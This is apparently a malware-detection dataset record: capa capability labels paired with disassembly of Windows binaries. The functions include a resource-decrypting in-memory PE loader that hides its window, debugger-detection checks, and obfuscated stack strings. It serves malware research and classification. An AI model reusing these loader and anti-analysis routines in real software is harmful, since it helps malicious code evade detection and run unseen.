joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401250
Capabilities:
Extract resource via kernel32 functions
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414400
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [section..data]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x415238
mov esi, eax
push 0x145
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x4012d8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4012d8
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x4012d8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
jmp 0x4012dd
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov eax, 0xaaaaaaab
mov dword [ebp - 0x14], 0
mul ebx
push ebx
mov esi, edx
push str.dwSize:__d__n
shr esi, 3
call fcn.004013f0
push ebx
call fcn.0040141e
add esp, 0xc
mov dword [ebp - 0x20], eax
xor edi, edi
test ebx, ebx
je 0x401385
mov dword [ebp - 0x1c], eax
mov eax, 0xaaaaaaab
mul edi
mov eax, edi
shr edx, 3
lea ecx, [edx + edx*2]
shl ecx, 2
sub eax, ecx
je 0x40135c
call fcn.00404363
test al, 1
jne 0x401380
cmp esi, ebx
jae 0x40134f
call fcn.00404363
and eax, 0x800000ff
jns 0x401346
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [ebp - 0x20]
mov byte [ecx + esi], al
inc esi
jmp 0x401380
mov eax, 0xaaaaaaab
mul ebx
mov esi, edx
shr esi, 1
jmp 0x401380
mov eax, dword [ebp - 0x14]
xor ecx, ecx
inc eax
cmp eax, 0x1b
cmovne ecx, eax
mov dword [ebp - 0x14], ecx
mov al, byte [ecx + str.This_is_the_new_fucking_key]
mov ecx, dword [ebp - 0x18]
xor al, byte [edi + ecx]
mov ecx, dword [ebp - 0x1c]
mov byte [ecx], al
inc ecx
mov dword [ebp - 0x1c], ecx
inc edi
cmp edi, ebx
jb 0x401310
push str.decrypted
call fcn.004013f0
push dword [ebp - 0x20]
call fcn.00401000
add esp, 8
test eax, eax
jne 0x4013d5
push str.Error:_loading_PE_from_memory._n
call fcn.004013f0
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401c56
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401c95
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401c95
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401c95
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401c95
cmp dword [ecx + 0x74], 0xe
jbe 0x401c95
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40b861
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40b8fe
push ebx
push esi
call fcn.0040b82a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040b7c0
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40b8ab
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b8fd
push edi
push eax
call fcn.00408be0
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40b8cb
call fcn.00408200
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b8fc
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040b7c0
add esp, 0x20
test eax, eax
jne 0x40b8ea
push edi
call fcn.00408200
jmp 0x40b8f2
push ebx
call fcn.00408200
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x40fdbb
Capabilities:
Get file size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x18
mov eax, dword [eax + 0xc]
nop
shr eax, 3
test al, 1
je 0x40fdd5
mov al, 1
leave
ret
mov eax, dword [ebp + 8]
push ebx
push esi
mov eax, dword [eax + 0xc]
nop
test al, 0xc0
mov eax, dword [ebp + 8]
je 0x40fdec
mov ecx, dword [eax]
cmp ecx, dword [eax + 4]
je 0x40fe44
mov eax, dword [eax + 0x10]
nop
push eax
call fcn.0040bf9a
mov esi, eax
pop ecx
cmp esi, 0xffffffff
je 0x40fe44
xor ebx, ebx
lea eax, [ebp - 0x10]
inc ebx
xorps xmm0, xmm0
push ebx
push eax
movlpd qword [ebp - 8], xmm0
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x40fe44
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x40fe44
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
jne 0x40fe3e
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
je 0x40fe40
xor bl, bl
mov al, bl
jmp 0x40fe46
xor al, al
pop esi
pop ebx
leave
ret

Function at 0x413ba0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x413bcd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x413bcd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401920
Capabilities:
Accept command line arguments

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
xor ebp, ebp
push edi
test ebx, ebx
je 0x401866
mov edi, dword [esp + 0x1c]
test edi, edi
jne 0x401894
push str.CommandLineToArgvW
push str.Shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4018f1
mov ebx, 0x41ffa0
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call esi
mov edi, eax
xor esi, esi
cmp dword [ebx], ebp
jle 0x4018f1
xor ebp, ebp
lea esp, [esp]
mov eax, dword [edi + esi*4]
push 0x41b6c8
push eax
call fcn.004026e5
add esp, 8
test eax, eax
je 0x4018d1
mov ecx, dword [edi + esi*4]
push 0x41b6b0
push ecx
call fcn.004026e5
add esp, 8
test eax, eax
je 0x4018d1
inc esi
cmp esi, dword [ebx]
jl 0x4018a0
jmp 0x4018f1
mov edx, dword [ebx]
dec edx
cmp esi, edx
mov ebp, 1
jge 0x4018ef
lea ecx, [ecx]
mov eax, dword [edi + esi*4 + 4]
mov dword [edi + esi*4], eax
mov ecx, dword [ebx]
inc esi
dec ecx
cmp esi, ecx
jl 0x4018e0
dec dword [ebx]
mov edx, dword [esp + 0x14]
push ebp
push edx
call fcn.004014c0
add esp, 8
test eax, eax
je 0x401908
mov ebp, 1
pop edi
xor eax, eax
pop esi
test ebp, ebp
pop ebp
setne al
pop ebx
ret
push ebx
mov ebx, dword [esp + 0xc]
push ebp
xor ebp, ebp
push edi
test ebx, ebx
je 0x4019b4
mov edi, dword [esp + 0x18]
test edi, edi
je 0x4019b4
push esi
xor esi, esi
cmp dword [ebx], esi
jle 0x401991
mov eax, dword [edi + esi*4]
push str._accepteula
push eax
call fcn.00401dee
add esp, 8
test eax, eax
je 0x401971
mov eax, dword [edi + esi*4]
push 0x41b700
push eax
call fcn.00401dee
add esp, 8
test eax, eax
je 0x401971
inc esi
cmp esi, dword [ebx]
jl 0x401940
jmp 0x401991
mov eax, dword [ebx]
dec eax
cmp esi, eax
mov ebp, 1
jge 0x40198f
lea ecx, [ecx]
mov ecx, dword [edi + esi*4 + 4]
mov dword [edi + esi*4], ecx
mov edx, dword [ebx]
inc esi
dec edx
cmp esi, edx
jl 0x401980
dec dword [ebx]
mov eax, dword [esp + 0x14]
push ebp
push eax
call fcn.004014c0
add esp, 8
pop esi
test eax, eax
je 0x4019a9
mov ebp, 1
xor eax, eax
pop edi
test ebp, ebp
pop ebp
setne al
pop ebx
ret
pop edi
pop ebp
pop ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
jmp 0x401850
Function at 0x4019d0
Capabilities:
Move file

Disassembly:
push ecx
push esi
push str._nMovefile_v1.01___copies_over_an_in_use_file_at_boot_time_n
call fcn.00402778
mov esi, dword [esp + 0x14]
push esi
lea eax, [esp + 0x14]
push eax
push str.Movefile
call fcn.00401920
add esp, 0x10
test eax, eax
je 0x401a83
cmp dword [esp + 0xc], 3
jge 0x401a1e
push str.usage:_movefile__source___dest__n
call fcn.00402778
push str._nSpecifying_an_empty_destination______deletes_the_source_at_boot._n_n
call fcn.00402778
add esp, 8
xor eax, eax
pop esi
pop ecx
ret
push str.Wow64DisableWow64FsRedirection
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401a40
lea ecx, [esp + 4]
push ecx
call eax
mov ecx, dword [esi + 8]
movsx eax, byte [ecx]
mov edx, dword [esi + 4]
neg eax
sbb eax, eax
push 4
and eax, ecx
push eax
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x401a76
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error:__d_n
call fcn.00402778
add esp, 8
xor eax, eax
pop esi
pop ecx
ret
push str.Move_successfully_scheduled._n_n
call fcn.00402778
add esp, 4
xor eax, eax
pop esi
pop ecx
ret

Function at 0x4025c5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41f0c0]
jne 0x4025cf
repz ret
jmp fcn.0040840c
Function at 0x4103d2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404528
and dword [ebp - 4], 0
cmp dword [0x420934], 0
mov ebx, eax
jne 0x410483
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x410534
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x410534
push eax
call fcn.004044b6
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x420934], eax
call esi
push eax
call fcn.004044b6
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x420938], eax
call esi
push eax
call fcn.004044b6
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42093c], eax
call esi
push eax
call fcn.004044b6
pop ecx
mov dword [0x420944], eax
test eax, eax
je 0x410483
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004044b6
pop ecx
mov dword [0x420940], eax
mov eax, dword [0x420940]
cmp eax, ebx
je 0x4104db
cmp dword [0x420944], ebx
je 0x4104db
push eax
call fcn.00404531
push dword [0x420944]
mov esi, eax
call fcn.00404531
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4104db
test edi, edi
je 0x4104db
call esi
test eax, eax
je 0x4104d2
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4104d2
test byte [ebp - 0xc], 1
jne 0x4104db
or dword [ebp + 0x10], 0x200000
jmp 0x410514
mov eax, dword [0x420938]
cmp eax, ebx
je 0x410514
push eax
call fcn.00404531
pop ecx
test eax, eax
je 0x410514
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x410514
mov eax, dword [0x42093c]
cmp eax, ebx
je 0x410514
push eax
call fcn.00404531
pop ecx
test eax, eax
je 0x410514
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x420934]
call fcn.00404531
pop ecx
test eax, eax
je 0x410534
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x410536
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001ee0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x38], ecx
push 2
push 0
push 0x10001d80
mov ecx, dword [0x1006724c]
call fcn.10026020
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10001fed
mov byte [ebp - 0x34], 0x45
mov byte [ebp - 0x33], 0x52
mov byte [ebp - 0x32], 0x52
mov byte [ebp - 0x31], 0x4f
mov byte [ebp - 0x30], 0x52
mov byte [ebp - 0x2f], 0x21
mov byte [ebp - 0x2e], 0x20
mov byte [ebp - 0x2d], 0x54
mov byte [ebp - 0x2c], 0x68
mov byte [ebp - 0x2b], 0x72
mov byte [ebp - 0x2a], 0x65
mov byte [ebp - 0x29], 0x61
mov byte [ebp - 0x28], 0x64
mov byte [ebp - 0x27], 0x20
mov byte [ebp - 0x26], 0x63
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x20], 0x6f
mov byte [ebp - 0x1f], 0x6e
mov byte [ebp - 0x1e], 0x20
mov byte [ebp - 0x1d], 0x66
mov byte [ebp - 0x1c], 0x61
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x64
mov byte [ebp - 0x17], 0x2c
mov byte [ebp - 0x16], 0x20
mov byte [ebp - 0x15], 0x54
mov byte [ebp - 0x14], 0x68
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], 0x20
mov byte [ebp - 0xe], 0x43
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x64
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x20
mov byte [ebp - 9], 0x30
mov byte [ebp - 8], 0x78
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x21
mov byte [ebp - 5], 0
mov ecx, dword [0x10066828]
call fcn.100014a0
push eax
push 0
lea eax, [ebp - 0x34]
push eax
push 0
lea ecx, [ebp - 0x34]
push ecx
mov ecx, dword [0x1006682c]
call fcn.10014bc0
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x10003220
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 5
mov dword [ebp - 8], 0
jmp 0x10003242
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x33
jge 0x10003281
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x779227d4]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000327c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x10003239
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x33], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x100041c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10040788
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x10]
call fcn.10014b50
mov dword [ebp - 4], 0
mov byte [ebp - 0x3c], 0x44
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x62
mov byte [ebp - 0x39], 0x75
mov byte [ebp - 0x38], 0x67
mov byte [ebp - 0x37], 0x67
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x34], 0x20
mov byte [ebp - 0x33], 0x44
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x64
mov byte [ebp - 0x2b], 0x3b
mov byte [ebp - 0x2a], 0x20
mov byte [ebp - 0x29], 0x45
mov byte [ebp - 0x28], 0x72
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x20
mov byte [ebp - 0x25], 0x43
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x3a
mov byte [ebp - 0x20], 0x20
mov byte [ebp - 0x1f], 0x30
mov byte [ebp - 0x1e], 0x78
mov byte [ebp - 0x1d], 0x39
mov byte [ebp - 0x1c], 0x30
mov byte [ebp - 0x1b], 0x30
mov byte [ebp - 0x1a], 0x30
mov byte [ebp - 0x19], 0x30
mov byte [ebp - 0x18], 0x30
mov byte [ebp - 0x17], 0x30
mov byte [ebp - 0x16], 0x36
mov byte [ebp - 0x15], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
push 0xffffffffffffffff
mov ecx, dword [0x10066824]
mov edx, dword [ecx + 0x2cc]
call edx
cmp dword [ebp - 0x14], 0
je 0x100042d1
mov ecx, dword [0x10066828]
call fcn.100014a0
push eax
push 0
lea eax, [ebp - 0x3c]
push eax
push 1
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, dword [0x1006682c]
call fcn.10014bc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.10014ba0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x100042f0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], 0
mov byte [ebp - 2], 0
mov byte [ebp - 1], 0
pushal
mov eax, dword fs:[0xc0]
mov dword [ebp - 8], eax
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
mov byte [ebp - 2], al
popal
movzx eax, byte [ebp - 2]
test eax, eax
je 0x1000432e
mov eax, 1
jmp 0x1000435b
cmp dword [ebp - 8], 0
je 0x10004359
pushal
mov eax, dword fs:[0x18]
sub eax, 0x2000
mov eax, dword [eax + 0x60]
mov al, byte [eax + 2]
mov byte [ebp - 1], al
popal
movzx ecx, byte [ebp - 1]
test ecx, ecx
je 0x10004359
mov eax, 2
jmp 0x1000435b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100046b0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x20], 0x20000
mov esp, ebp
pop ebp
ret

Function at 0x100046d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
mov byte [ebp - 0x18], 0x25
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x25
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x25
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x25
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x25
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x25
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x25
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x25
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0x25
mov byte [ebp - 3], 0x73
mov byte [ebp - 2], 0
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [0x10066824]
mov edx, dword [ecx + 0x2d0]
call edx
mov esp, ebp
pop ebp
ret

Function at 0x10004750
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10040768
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x14]
call fcn.10014b50
mov dword [ebp - 4], 0
mov byte [ebp - 0x3c], 0x44
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x62
mov byte [ebp - 0x39], 0x75
mov byte [ebp - 0x38], 0x67
mov byte [ebp - 0x37], 0x67
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x34], 0x20
mov byte [ebp - 0x33], 0x44
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x64
mov byte [ebp - 0x2b], 0x3b
mov byte [ebp - 0x2a], 0x20
mov byte [ebp - 0x29], 0x45
mov byte [ebp - 0x28], 0x72
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x20
mov byte [ebp - 0x25], 0x43
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x3a
mov byte [ebp - 0x20], 0x20
mov byte [ebp - 0x1f], 0x30
mov byte [ebp - 0x1e], 0x78
mov byte [ebp - 0x1d], 0x39
mov byte [ebp - 0x1c], 0x30
mov byte [ebp - 0x1b], 0x30
mov byte [ebp - 0x1a], 0x30
mov byte [ebp - 0x19], 0x30
mov byte [ebp - 0x18], 0x30
mov byte [ebp - 0x17], 0x30
mov byte [ebp - 0x16], 0x34
mov byte [ebp - 0x15], 0
mov dword [ebp - 0x10], 0
push 0
push 4
lea eax, [ebp - 0x10]
push eax
push 7
push 0xffffffffffffffff
mov ecx, dword [0x10066824]
mov edx, dword [ecx + 0xd8]
call edx
test eax, eax
jl 0x1000486b
cmp dword [ebp - 0x10], 0
je 0x1000486b
mov ecx, dword [0x10066828]
call fcn.100014a0
push eax
push 0
lea eax, [ebp - 0x3c]
push eax
push 1
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, dword [0x1006682c]
call fcn.10014bc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.10014ba0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10004910
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10040788
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x10]
call fcn.10014b50
mov dword [ebp - 4], 0
mov byte [ebp - 0x38], 0x44
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x36], 0x62
mov byte [ebp - 0x35], 0x75
mov byte [ebp - 0x34], 0x67
mov byte [ebp - 0x33], 0x67
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x72
mov byte [ebp - 0x30], 0x20
mov byte [ebp - 0x2f], 0x44
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], 0x74
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x63
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x64
mov byte [ebp - 0x27], 0x20
mov byte [ebp - 0x26], 0x45
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x72
mov byte [ebp - 0x23], 0x20
mov byte [ebp - 0x22], 0x43
mov byte [ebp - 0x21], 0x6f
mov byte [ebp - 0x20], 0x64
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x3a
mov byte [ebp - 0x1d], 0x20
mov byte [ebp - 0x1c], 0x30
mov byte [ebp - 0x1b], 0x78
mov byte [ebp - 0x1a], 0x39
mov byte [ebp - 0x19], 0x30
mov byte [ebp - 0x18], 0x30
mov byte [ebp - 0x17], 0x30
mov byte [ebp - 0x16], 0x30
mov byte [ebp - 0x15], 0x30
mov byte [ebp - 0x14], 0x30
mov byte [ebp - 0x13], 0x35
mov byte [ebp - 0x12], 0
call fcn.10004890
movzx eax, al
test eax, eax
je 0x10004a08
mov ecx, dword [0x10066828]
call fcn.100014a0
push eax
push 0
lea ecx, [ebp - 0x38]
push ecx
push 1
lea edx, [ebp - 0x38]
push edx
mov ecx, dword [0x1006682c]
call fcn.10014bc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.10014ba0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10004ae0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10040788
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov dword [ebp - 0x60], ecx
lea ecx, [ebp - 0x10]
call fcn.10014b50
mov dword [ebp - 4], 0
push 0
push 2
lea eax, [ebp - 0x14]
push eax
push 0x23
mov ecx, dword [0x10066824]
mov edx, dword [ecx + 0x28]
call edx
test eax, eax
jl 0x10004c69
movzx eax, byte [ebp - 0x14]
test eax, eax
je 0x10004c69
movzx ecx, byte [ebp - 0x13]
test ecx, ecx
jne 0x10004c69
mov byte [ebp - 0x5c], 0x4b
mov byte [ebp - 0x5b], 0x65
mov byte [ebp - 0x5a], 0x72
mov byte [ebp - 0x59], 0x6e
mov byte [ebp - 0x58], 0x65
mov byte [ebp - 0x57], 0x6c
mov byte [ebp - 0x56], 0x20
mov byte [ebp - 0x55], 0x44
mov byte [ebp - 0x54], 0x65
mov byte [ebp - 0x53], 0x62
mov byte [ebp - 0x52], 0x75
mov byte [ebp - 0x51], 0x67
mov byte [ebp - 0x50], 0x67
mov byte [ebp - 0x4f], 0x65
mov byte [ebp - 0x4e], 0x72
mov byte [ebp - 0x4d], 0x20
mov byte [ebp - 0x4c], 0x64
mov byte [ebp - 0x4b], 0x65
mov byte [ebp - 0x4a], 0x74
mov byte [ebp - 0x49], 0x65
mov byte [ebp - 0x48], 0x63
mov byte [ebp - 0x47], 0x74
mov byte [ebp - 0x46], 0x65
mov byte [ebp - 0x45], 0x64
mov byte [ebp - 0x44], 0x21
mov byte [ebp - 0x43], 0x20
mov byte [ebp - 0x42], 0x50
mov byte [ebp - 0x41], 0x6c
mov byte [ebp - 0x40], 0x65
mov byte [ebp - 0x3f], 0x61
mov byte [ebp - 0x3e], 0x73
mov byte [ebp - 0x3d], 0x65
mov byte [ebp - 0x3c], 0x20
mov byte [ebp - 0x3b], 0x64
mov byte [ebp - 0x3a], 0x69
mov byte [ebp - 0x39], 0x73
mov byte [ebp - 0x38], 0x61
mov byte [ebp - 0x37], 0x62
mov byte [ebp - 0x36], 0x6c
mov byte [ebp - 0x35], 0x65
mov byte [ebp - 0x34], 0x20
mov byte [ebp - 0x33], 0x64
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x62
mov byte [ebp - 0x30], 0x75
mov byte [ebp - 0x2f], 0x67
mov byte [ebp - 0x2e], 0x67
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x73
mov byte [ebp - 0x2a], 0x20
mov byte [ebp - 0x29], 0x61
mov byte [ebp - 0x28], 0x6e
mov byte [ebp - 0x27], 0x64
mov byte [ebp - 0x26], 0x20
mov byte [ebp - 0x25], 0x41
mov byte [ebp - 0x24], 0x6e
mov byte [ebp - 0x23], 0x74
mov byte [ebp - 0x22], 0x69
mov byte [ebp - 0x21], 0x76
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x75
mov byte [ebp - 0x1d], 0x73
mov byte [ebp - 0x1c], 0
mov ecx, dword [0x10066828]
call fcn.100014a0
push eax
push 0
lea edx, [ebp - 0x5c]
push edx
push 1
